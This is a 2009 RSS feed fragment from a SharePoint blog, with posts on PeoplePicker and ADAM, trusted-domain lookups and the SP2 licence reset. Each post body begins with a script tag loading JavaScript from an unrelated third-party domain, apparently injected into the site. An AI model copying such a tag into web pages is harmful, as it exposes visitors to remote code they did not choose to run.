		<comments>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker-and-adam-continued/#comments</comments>
		<pubDate>Fri, 29 May 2009 08:30:37 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[ADAM]]></category>
		<category><![CDATA[ECTS]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[PeoplePicker]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=73</guid>
		<description><![CDATA[As a follow up query to the previous notes on working with the PeoplePicker and ADAM, I&#8217;ve been asked about the behaviour of the PeoplePicker &#8211; specifically, that it appears to only return external users if their username is specifically searched for, not if part of their name is entered.  Is there a way to [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fsharepoint-peoplepicker-and-adam-continued%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fsharepoint-peoplepicker-and-adam-continued%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>As a follow up query to the previous notes on working with the PeoplePicker and ADAM, I&#8217;ve been asked about the behaviour of the PeoplePicker &#8211; specifically, that it appears to only return external users if their username is specifically searched for, not if part of their name is entered.  Is there a way to get exactly the same results for users from AD and ADAM?  Unfortunately, there are pretty severe limits to this, and unfortunately, I don&#8217;t believe you can actually get the same results, though I&#8217;d love to be proven wrong.</p>
<p>By default, when dealing with custom authentication sources, including ADAM, the PeoplePicker only returns exact matches.  If I search for the username, it will find it.  If its a user already on the site collection, it can use the local user details.  However, to find non exact matches in a custom repository, you need to edit the WebConfig file, by adding the following section:</p>
<p style="padding-left: 30px;">&lt;PeoplePickerWildcards&gt;<br />
  &lt;clear /&gt;<br />
  &lt;add key=&#8221;ADAMMembership&#8221; value=&#8221;*&#8221; /&gt;<br />
&lt;/PeoplePickerWildcards&gt;</p>
<p>Unfortunately, this solution isn&#8217;t perfect.  It effectively adds the wildcard symbol * to every search in the people picker.  Lets illustrate this step by step, using a Pat Smith as an example name.</p>
<p>If I search for &#8220;Pat&#8221;, before updating the web.config file, they&#8217;ll only appear with the full name in the results if they&#8217;ve already been added to the site somewhere, or if they&#8217;re actually in the Active Directory repository.</p>
<p>If I search for &#8220;Pat&#8221; after updating the web.config file, all the Pats from the ADAM repository and from AD will appear.   Problem solved?  No.</p>
<p>If I search for Smith, as a surname, I&#8217;ll get all the Smiths from AD, but not from ADAM.   Thats because the search going to ADAM is actually like &#8220;Smith*&#8221;.  It&#8217;ll find everything <em>starting</em> with Smith, not all names containing Smith, and I haven&#8217;t come across any variations that will actually resolve this search issue.  However, you&#8217;ll probably find that this is a significant step forward in any event.</p>
<p>As always with SharePoint, make sure you edit all of the relevant web.config files.  You may find SharePoint is happier if you run</p>
<p style="padding-left: 30px;">iisreset -noforce</p>
<p>after making the change, although in theory you shouldn&#8217;t need to - as a rule of thumb, major changes to web applications within SharePoint can have odd consequences otherwise.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker-and-adam-continued/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Add a dash of SharePoint SP2 to a production server, and admire your new trial server&#8230;</title>
		<link>http://kipper.org.uk/index.php/2009/05/add-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=add-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server</link>
		<comments>http://kipper.org.uk/index.php/2009/05/add-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server/#comments</comments>
		<pubDate>Wed, 27 May 2009 12:42:31 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[SharePoint SP2]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=69</guid>
		<description><![CDATA[In a stroke of rare genius, applying SharePoint SP2 to SharePoint 2007 has a strange effect &#8211; it resets the license type to become a 180 day trial version! Its not a major issue &#8211; reapplying your license key in the &#8220;Convert License Type&#8221; section in Central Administration will reset it, and you won&#8217;t have [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fadd-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fadd-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>In a stroke of rare genius, applying SharePoint SP2 to SharePoint 2007 has a strange effect &#8211; it resets the license type to become a 180 day trial version!</p>
<p>Its not a major issue &#8211; reapplying your license key in the &#8220;Convert License Type&#8221; section in Central Administration will reset it, and you won&#8217;t have lost any data in the meantime, but its something you need to be aware of&#8230;. otherwise you might hit more than a few issues in about 6 months!</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/05/add-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SharePoint PeoplePicker and ADAM</title>
		<link>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sharepoint-peoplepicker</link>
		<comments>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker/#comments</comments>
		<pubDate>Fri, 22 May 2009 08:46:35 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[ADAM]]></category>
		<category><![CDATA[ECTS]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[PeoplePicker]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=61</guid>
		<description><![CDATA[One of the comments on my PeoplePicker post asked some questions about the way PeoplePicker works with ECTS &#8211; the External Collaboration Toolkit for SharePoint.  To be honest, I haven&#8217;t worked with the ECTS myself, but I understand the theory. The ECTS uses Microsoft&#8217;s ADAM &#8211; Active Directory Application Mode &#8211; to act a a [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fsharepoint-peoplepicker%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fsharepoint-peoplepicker%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>One of the comments on my PeoplePicker post asked some questions about the way PeoplePicker works with ECTS &#8211; the External Collaboration Toolkit for SharePoint.  To be honest, I haven&#8217;t worked with the ECTS myself, but I understand the theory.</p>
<p>The ECTS uses Microsoft&#8217;s ADAM &#8211; Active Directory Application Mode &#8211; to act a a user repository, which gives you a SharePoint structure that should resemble the following:</p>
<p> </p>
<div id="attachment_66" class="wp-caption aligncenter" style="width: 410px"><img class="size-full wp-image-66" title="ECTS" src="http://kipper.org.uk/wp-content/uploads/2009/05/ects.jpg" alt="External Collaboration Toolkit for SharePoint Architecture" width="400" height="308" /><p class="wp-caption-text">External Collaboration Toolkit for SharePoint Architecture</p></div>
<p style="text-align: center;"> </p>
<p>Getting the PeoplePicker to work correctly with this is difficult, but not impossible.  The question asked was what could cause the PeoplePicker to fail to return AD users when logged in as an external user?   Of course, as is often the case with comments on blogs, there really isn&#8217;t anywhere near enough information about the setup to answer accurately.</p>
<p>My first guess would be that the PeoplePicker has actually been deliberately configured that way.  It is a potentially huge security risk to allow external users to see all the usernames of your company, which is why many people using ADAM authentication run the following command:</p>
<p style="padding-left: 30px;">stsadm -o setproperty -url https://&lt;url&gt; -pn peoplepicker-nowindowsaccountsfornonwindowsauthenticationmode -pv yes</p>
<p>This command deliberately stops PeoplePicker returning internal AD users when logged in via forms based authentication outside of windows, including using ADAM.  You can tell if this is turned on by running:</p>
<p style="padding-left: 30px;">stsadm -o getproperty -url https://&lt;url&gt; -pn peoplepicker-nowindowsaccountsfornonwindowsauthenticationmode</p>
<p>If this is the problem, you can turn the security feature off by running:</p>
<p style="padding-left: 30px;">stsadm -o setproperty -url https://&lt;url&gt; -pn peoplepicker-nowindowsaccountsfornonwindowsauthenticationmode -pv no</p>
<p>And your PeoplePicker should leap back into life for all users.</p>
<p>However, there are still some quirks with using the PeoplePicker with ADAM, even if AD users are allowed to respond.  Take a look at <a href="http://blogs.pointbridge.com/Blogs/morse_matt/Pages/Post.aspx?_ID=18">Matt Morse&#8217;s excellent blog</a> on how the PeoplePicker returns different results from ADAM than you might expect if you are used to working with normal windows authentication.</p>
<p>EDIT:-</p>
<p>As always, after applying stsadm commands to your SharePoint installation, don&#8217;t forget to either reset IIS or the relevant application pool.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>The SharePoint PeoplePicker isn&#8217;t showing users from a trusted domain</title>
		<link>http://kipper.org.uk/index.php/2009/05/the-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=the-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain</link>
		<comments>http://kipper.org.uk/index.php/2009/05/the-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain/#comments</comments>
		<pubDate>Wed, 13 May 2009 12:06:47 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[PeoplePicker]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=55</guid>
		<description><![CDATA[After installing SharePoint, and importing all the User Profiles, you&#8217;ll find if you are using the People Picker, you&#8217;ll only see users from the trusted domain that have successfully logged on the SharePoint 2007 server, rather than all of them.  This is rather bizarre, as you&#8217;ve imported all the profiles, and can see them! You [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fthe-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fthe-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>After installing SharePoint, and importing all the User Profiles, you&#8217;ll find if you are using the People Picker, you&#8217;ll only see users from the trusted domain that have successfully logged on the SharePoint 2007 server, rather than all of them.  This is rather bizarre, as you&#8217;ve imported all the profiles, and can see them!</p>
<p>You actually need to configure the PeoplePicker to do a lookup to the Domain Controllers, as its here the People looks, NOT the SharePoint user profile store.  It seems unusual, but true!  It&#8217;s quite a complex task.</p>
<p>Before you do anything else, work out a list of all of the domains the PeoplePicker needs to look at, INCLUDING the domain SharePoint is installed on.  If SharePoint is on Domain1 and you want to see all the Domain1 users and all the users from the trusted domain Domain2, you&#8217;re going to need to list them both, something most of the guides online don&#8217;t make clear.  You&#8217;ll also need the fully qualified domain names &#8211; doing use the older NetBIOS name.  If your domain is exampledomain.local, don&#8217;t just use &#8220;exampledomain&#8221; &#8211; we&#8217;ll need the full thing.</p>
<p>Next, make sure you have a valid Active Directory user account on each of the domains you want to look at.  You don&#8217;t need to worry about the domain the SharePoint server is on &#8211; the accounts SharePoint should be running under will already have access.</p>
<p>Now, we first need to set up an encryption key, so SharePoint can securely store the usernames and passwords for the other domains.  Use the following command on every server in the farm &#8211; if you don&#8217;t, the other SharePoint servers won&#8217;t be able to decrypt the stored user names and passwords:</p>
<p style="padding-left: 30px;">stsadm –o setapppassword –password MyPassword</p>
<p>Replace MyPassword with your chosen encryption key, of course! </p>
<p>Next, we need to tell each Web Front End server, which domains to use.  I always list the current domain SharePoint is a member of first, for ease of reference.  Normally, I&#8217;d expect at least two entries &#8211; the current domain and the trusted domain (or domains) &#8211; if there isn&#8217;t a trusted domain, why are you doing this???.  We&#8217;ll need to separate the entries in the domain list with semi-colons.</p>
<p style="padding-left: 30px;">stsadm -o setproperty -pn peoplepicker-searchadforests -pv domain:domain1.com;domain:domain2.com,domain2\user,password –url https://sharepoint.domain1.com</p>
<p>Here, the url should be replaced by that of your web application &#8211; don&#8217;t forget to use https if you&#8217;ve set the application up to use SSL.  Domain names should obviously be replaced with your own, and you should use the usernames and passwords from each domain that you either created or ensured were available earlier.  A more realistic looking example might be:</p>
<p style="padding-left: 30px;">stsadm -o setproperty -pn peoplepicker-searchadforests -pv domain:technet.microsoft.com;domain:kb.microsoft.com,kb\AD_Lookup,LookUp2009 –url https://sharepoint.technet.microsoft.com</p>
<p>Please note this is an entirely hypothetical example, so don&#8217;t think of trying the links or usernames! </p>
<p>Fianlly, though this generally isn&#8217;t mentioned in most of the other guides, you need to reset IIS before SharePoint will pick up the changes.  As always, I prefer the noforce option, just in case.</p>
<p style="padding-left: 30px;">issreset -noforce</p>
<p>You should now see all of the available people from the domains you&#8217;ve selected in the people picker!</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/05/the-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
	</channel>
</rss>

